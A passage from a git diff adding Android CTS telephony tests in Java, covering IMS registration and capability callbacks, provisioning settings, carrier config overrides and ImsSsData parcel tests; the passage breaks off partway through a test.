+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+
+ // Complete registration
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+
+ // Fail handover to IWLAN
+ sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
+ ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+ new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
+ ImsReasonInfo.CODE_UNSPECIFIED, ""));
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+ assertEquals(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE, waitForIntResult(mQueue));
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ mmTelManager.unregisterImsRegistrationCallback(callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testMmTelManagerRegistrationStateR() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ RegistrationManager regManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ // Start deregistered
+ sServiceConnector.getCarrierService().getImsRegistration().onDeregistered(
+ new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED,
+ ImsReasonInfo.CODE_UNSPECIFIED, ""));
+
+ RegistrationManager.RegistrationCallback callback =
+ new RegistrationManager.RegistrationCallback() {
+ @Override
+ public void onRegistered(int imsTransportType) {
+ mQueue.offer(imsTransportType);
+ }
+
+ @Override
+ public void onRegistering(int imsTransportType) {
+ mQueue.offer(imsTransportType);
+ }
+
+ @Override
+ public void onUnregistered(ImsReasonInfo info) {
+ mQueue.offer(info.getCode());
+ }
+
+ @Override
+ public void onTechnologyChangeFailed(int imsTransportType, ImsReasonInfo info) {
+ mQueue.offer(imsTransportType);
+ mQueue.offer(info.getCode());
+ }
+ };
+
+ ImsMmTelManager mmTelManager =
+ ImsMmTelManager.createForSubscriptionId(sTestSub);
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mmTelManager,
+ (m) -> m.registerImsRegistrationCallback(getContext().getMainExecutor(), callback),
+ ImsException.class);
+ assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
+
+ // Ensure that the Framework reports Deregistered correctly
+ verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_NOT_REGISTERED);
+ verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_INVALID);
+
+ // Start registration
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+ verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERING);
+ verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+ // Complete registration
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
+ verifyRegistrationState(regManager, RegistrationManager.REGISTRATION_STATE_REGISTERED);
+ verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+
+ // Fail handover to IWLAN
+ sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
+ ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+ new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
+ ImsReasonInfo.CODE_UNSPECIFIED, ""));
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+ assertEquals(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE, waitForIntResult(mQueue));
+ verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+
+ // handover to IWLAN
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN);
+ assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
+ verifyRegistrationTransportType(regManager, AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mmTelManager,
+ (m) -> m.unregisterImsRegistrationCallback(callback));
+ }
+
+ @Test
+ public void testCapabilityStatusCallback() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
+ MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+ .getMmTelFeature().getCapabilities();
+ // Make sure we start off with every capability unavailable
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ sServiceConnector.getCarrierService().getMmTelFeature()
+ .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+ // Make sure the capabilities match the API getter for capabilities
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ // Make sure we are tracking voice capability over LTE properly.
+ assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+ mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // This is a little bit gross looking, but on P devices, I can not define classes that
+ // extend ImsMmTelManager.CapabilityCallback (because it doesn't exist), so this has to
+ // happen as an anon class here.
+ LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+ ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+ @Override
+ public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+ mQueue.offer(capabilities);
+ }
+ };
+
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // We should not have voice availability here, we notified the framework earlier.
+ MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
+ assertNotNull(capCb);
+ assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+
+ // Now enable voice availability
+ sServiceConnector.getCarrierService().getMmTelFeature()
+ .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+ capCb = waitForResult(mQueue);
+ assertNotNull(capCb);
+ assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+ mmTelManager.unregisterMmTelCapabilityCallback(callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testRcsCapabilityStatusCallback() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ if (imsManager == null) {
+ fail("Cannot find IMS service");
+ }
+
+ // Connect to device ImsService with RcsFeature
+ triggerFrameworkConnectToDeviceImsServiceBindRcsFeature();
+
+ int registrationTech = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+ ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+
+ ITestExternalImsService testImsService = sServiceConnector.getExternalService();
+ // Wait for the framework to set the capabilities on the ImsService
+ testImsService.waitForLatchCountdown(TestImsService.LATCH_RCS_CAP_SET);
+ // Make sure we start off with none-capability
+ testImsService.updateImsRegistration(ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ testImsService.notifyRcsCapabilitiesStatusChanged(RCS_CAP_NONE);
+
+ // Make sure the capabilities match the API getter for capabilities
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ // Make sure we are tracking voice capability over LTE properly.
+ assertEquals(testImsService.isRcsAvailable(RCS_CAP_PRESENCE),
+ imsRcsManager.isAvailable(RCS_CAP_PRESENCE));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Trigger carrier config changed
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+ overrideCarrierConfig(bundle);
+
+ // The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
+ try {
+ automan.adoptShellPermissionIdentity();
+ // Checked by isCapable api to make sure RcsFeature#changeEnabledCapabilities is called
+ assertTrue(ImsUtils.retryUntilTrue(() ->
+ imsRcsManager.isCapable(RCS_CAP_OPTIONS, registrationTech)));
+ assertTrue(ImsUtils.retryUntilTrue(() ->
+ imsRcsManager.isCapable(RCS_CAP_PRESENCE, registrationTech)));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // A queue to receive capability changed
+ LinkedBlockingQueue<RcsImsCapabilities> mQueue = new LinkedBlockingQueue<>();
+ ImsRcsManager.AvailabilityCallback callback = new ImsRcsManager.AvailabilityCallback() {
+ @Override
+ public void onAvailabilityChanged(RcsImsCapabilities capabilities) {
+ mQueue.offer(capabilities);
+ }
+ };
+
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ imsRcsManager.registerRcsAvailabilityCallback(getContext().getMainExecutor(), callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // We should not have any availabilities here, we notified the framework earlier.
+ RcsImsCapabilities capCb = waitForResult(mQueue);
+
+ // The SIP OPTIONS capability from onAvailabilityChanged should be disabled.
+ // Moreover, ImsRcsManager#isAvailable also return FALSE with SIP OPTIONS
+ assertTrue(capCb.isCapable(RCS_CAP_NONE));
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertFalse(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Notify the SIP OPTIONS capability status changed
+ testImsService.notifyRcsCapabilitiesStatusChanged(RCS_CAP_OPTIONS);
+ capCb = waitForResult(mQueue);
+
+ // The SIP OPTIONS capability from onAvailabilityChanged should be enabled.
+ // Verify ImsRcsManager#isAvailable also return true with SIP OPTIONS
+ assertTrue(capCb.isCapable(RCS_CAP_OPTIONS));
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertTrue(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ overrideCarrierConfig(null);
+ }
+
+ @Test
+ public void testProvisioningManagerSetConfig() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+
+ // This is a little bit gross looking, but on P devices, I can not define classes that
+ // extend ProvisioningManager.Callback (because it doesn't exist), so this has to
+ // happen as an anon class here.
+ LinkedBlockingQueue<Pair<Integer, Integer>> mIntQueue = new LinkedBlockingQueue<>();
+ LinkedBlockingQueue<Pair<Integer, String>> mStringQueue = new LinkedBlockingQueue<>();
+ ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {
+ @Override
+ public void onProvisioningIntChanged(int item, int value) {
+ mIntQueue.offer(new Pair<>(item, value));
+ }
+
+ @Override
+ public void onProvisioningStringChanged(int item, String value) {
+ mStringQueue.offer(new Pair<>(item, value));
+ }
+ };
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+ callback);
+
+ provisioningManager.setProvisioningIntValue(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_INT);
+ assertTrue(waitForParam(mIntQueue, new Pair<>(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_INT)));
+ assertEquals(TEST_CONFIG_VALUE_INT,
+ provisioningManager.getProvisioningIntValue(TEST_CONFIG_KEY));
+
+ provisioningManager.setProvisioningStringValue(TEST_CONFIG_KEY,
+ TEST_CONFIG_VALUE_STRING);
+ assertTrue(waitForParam(mStringQueue,
+ new Pair<>(TEST_CONFIG_KEY, TEST_CONFIG_VALUE_STRING)));
+ assertEquals(TEST_CONFIG_VALUE_STRING,
+ provisioningManager.getProvisioningStringValue(TEST_CONFIG_KEY));
+
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.unregisterProvisioningChangedCallback(callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testProvisioningManagerProvisioningCaps() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_SUPPORTS_SS_OVER_UT_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_UT_PROVISIONING_REQUIRED_BOOL, true);
+ overrideCarrierConfig(bundle);
+
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ automan.adoptShellPermissionIdentity();
+ boolean provisioningStatus = provisioningManager.getProvisioningStatusForCapability(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ provisioningManager.setProvisioningStatusForCapability(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE, !provisioningStatus);
+ // Make sure the change in provisioning status is correctly returned.
+ assertEquals(!provisioningStatus,
+ provisioningManager.getProvisioningStatusForCapability(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+ // TODO: Enhance test to make sure the provisioning change is also sent to the
+ // ImsService
+
+ // set back to current status
+ provisioningManager.setProvisioningStatusForCapability(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE, provisioningStatus);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ overrideCarrierConfig(null);
+ }
+
+ private void setupImsServiceForSms() throws Exception {
+ MmTelFeature.MmTelCapabilities capabilities = new MmTelFeature.MmTelCapabilities(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_SMS);
+ // Set up MMTEL
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+ // Wait until MMTEL is created and onFeatureReady is called
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_READY));
+ // Wait until ImsSmsDispatcher connects and calls onReady.
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+ .waitForOnReadyLatch());
+ // Set Registered and SMS capable
+ sServiceConnector.getCarrierService().getMmTelFeature().setCapabilities(capabilities);
+ sServiceConnector.getCarrierService().getImsService().getRegistration(0).onRegistered(1);
+ sServiceConnector.getCarrierService().getMmTelFeature()
+ .notifyCapabilitiesStatusChanged(capabilities);
+
+ // Wait a second for the notifyCapabilitiesStatusChanged indication to be processed on the
+ // main telephony thread - currently no better way of knowing that telephony has processed
+ // this command. SmsManager#isImsSmsSupported() is @hide and must be updated to use new API.
+ Thread.sleep(1000);
+ }
+
+ private void triggerFrameworkConnectToCarrierImsService() throws Exception {
+ // Connect to the ImsService with the MmTel feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL);
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_READY));
+ assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+ }
+
+ private void triggerFrameworkConnectToDeviceImsServiceBindRcsFeature() throws Exception {
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS);
+ // Make sure the RcsFeature was created in the test service.
+ assertTrue("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+ + "called!", sServiceConnector.getExternalService().isRcsFeatureCreated());
+ }
+
+ private void verifyRegistrationState(RegistrationManager regManager, int expectedState)
+ throws Exception {
+ LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+ assertTrue(ImsUtils.retryUntilTrue(() -> {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
+ (m) -> m.getRegistrationState(getContext().getMainExecutor(), mQueue::offer));
+ return waitForIntResult(mQueue) == expectedState;
+ }));
+ }
+
+ private void verifyRegistrationTransportType(RegistrationManager regManager,
+ int expectedTransportType) throws Exception {
+ LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
+ (m) -> m.getRegistrationTransportType(getContext().getMainExecutor(),
+ mQueue::offer));
+ assertEquals(expectedTransportType, waitForIntResult(mQueue));
+ }
+
+ private <T> boolean waitForParam(LinkedBlockingQueue<T> queue, T waitParam) throws Exception {
+ T result;
+ while ((result = waitForResult(queue)) != null) {
+ if (waitParam.equals(result)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private <T> T waitForResult(LinkedBlockingQueue<T> queue) throws Exception {
+ return queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+
+ private int waitForIntResult(LinkedBlockingQueue<Integer> queue) throws Exception {
+ Integer result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ return result != null ? result : Integer.MAX_VALUE;
+ }
+
+ private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+ CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+ .getContext().getSystemService(CarrierConfigManager.class);
+ sReceiver.clearQueue();
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+ (m) -> m.overrideConfig(sTestSub, bundle));
+ sReceiver.waitForCarrierConfigChanged();
+ }
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getContext();
+ }
+
+ // Copied from com.android.internal.util.HexDump
+ private static byte[] hexStringToByteArray(String hexString) {
+ int length = hexString.length();
+ byte[] buffer = new byte[length / 2];
+
+ for (int i = 0; i < length; i += 2) {
+ buffer[i / 2] =
+ (byte) ((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i + 1)));
+ }
+
+ return buffer;
+ }
+
+ // Copied from com.android.internal.util.HexDump
+ private static int toByte(char c) {
+ if (c >= '0' && c <= '9') return (c - '0');
+ if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+ if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+ throw new RuntimeException("Invalid hex char '" + c + "'");
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java
new file mode 100644
index 0000000..6966f1c
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsDataTest.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertFalse;
+
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsCallForwardInfo;
+import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ImsSsData;
+import android.telephony.ims.ImsSsInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSsDataTest {
+
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_CLIP;
+ int requestType = ImsSsData.SS_DEACTIVATION;
+ int teleserviceType = ImsSsData.SS_ALL_TELESEVICES;
+ int serviceClass = 1;
+ int result = 1;
+
+ ImsSsData data = new ImsSsData(serviceType, requestType, teleserviceType, serviceClass,
+ result);
+
+ Parcel parcel = Parcel.obtain();
+ data.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsSsData unparceledData = ImsSsData.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertTrue(unparceledData.isTypeClip());
+ }
+
+ @Test
+ public void testServiceTypeCF() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_CFU;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeCf());
+ assertTrue(unparceledData.isTypeUnConditional());
+ }
+
+ @Test
+ public void testServiceTypeCW() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_WAIT;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeCw());
+ }
+
+ @Test
+ public void testServiceTypeColr() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_COLR;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeColr());
+ }
+
+ @Test
+ public void testServiceTypeColp() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_COLP;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeColp());
+ }
+
+ @Test
+ public void testServiceTypeClir() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_CLIR;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeClir());
+ }
+
+ @Test
+ public void testServiceTypeIcb() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_INCOMING_BARRING_DN;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeIcb());
+ }
+
+ @Test
+ public void testServiceTypeIcbAnon() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_INCOMING_BARRING_ANONYMOUS;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+
+ assertTrue(unparceledData.isTypeIcb());
+ }
+
+ @Test
+ public void testServiceTypeBarring() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int serviceType = ImsSsData.SS_BAOC;
+ ImsSsData data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_BAOIC;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_BAOIC_EXC_HOME;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_BAIC;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_BAIC_ROAMING;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_ALL_BARRING;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_OUTGOING_BARRING;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+
+ serviceType = ImsSsData.SS_INCOMING_BARRING;
+ data = new ImsSsData(serviceType, ImsSsData.SS_DEACTIVATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+ unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeBarring());
+ }
+
+ @Test
+ public void testRequestTypeInterrogation() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsSsData data = new ImsSsData(ImsSsData.SS_CFU, ImsSsData.SS_INTERROGATION,
+ ImsSsData.SS_ALL_TELESEVICES, 0, 0);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertTrue(unparceledData.isTypeInterrogation());
+ }
+
+ @Test
+ public void testConstructor() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
